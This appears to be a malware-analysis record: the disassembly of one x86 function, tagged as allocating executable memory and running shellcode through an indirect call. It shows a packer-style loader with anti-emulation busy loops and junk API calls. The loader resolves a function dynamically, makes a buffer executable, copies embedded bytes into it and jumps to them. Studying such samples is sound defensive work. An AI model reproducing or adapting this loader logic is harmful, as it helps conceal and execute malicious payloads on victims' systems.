Function at 0x403cde
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403d0b
inc edi
cmp edi, 0x67d12
jl 0x403cee
cmp dword [0x287282c], 0x93
jne 0x403de6
push 0x403824
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x40382c
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403848
push 0x40385c
push 0x403874
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00404174
pop ecx
push esi
push 0x403792
push 0x48f838
call fcn.00404220
add esp, 0xc
push esi
push esi
call fcn.00404acd
push esi
call fcn.004049c0
add esp, 0xc
push esi
push esi
call fcn.004049ef
pop ecx
pop ecx
mov eax, dword [0x47ac5c]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x287282c], 0x1134b
push 0x403888
mov dword [0x2873668], eax
call ebx
push 0x4038a4
push eax
mov dword [0x28722bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x287282c]
mov dword [0x28722b0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x287282c]
mov dword [0x28722b8], eax
push eax
call dword [0x28722b0]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x403e47
cmp dword [0x287282c], esi
jbe 0x403ec2
mov eax, dword [0x2873668]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x28722b8]
mov byte [ecx + edi], al
cmp dword [0x287282c], 0x490
jne 0x403eb9
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x287282c]
jb 0x403e6f
xor edi, edi
mov eax, dword [0x287282c]
add eax, edi
cmp eax, 0x8d
jne 0x403f03
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x4038b4
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x4038bc
push 0x4038d8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403ec4
call fcn.00403c05
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x403f32
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x28722b8], eax
inc edi
cmp edi, 0x674bd
jl 0x403f13
push 0x7b
pop edi
cmp dword [0x287282c], 0x86
jne 0x403f7b
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4038f0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403f3e
push 0x40390c
call ebx
call dword [0x28722b8]
pop edi
pop esi
pop ebx
leave
ret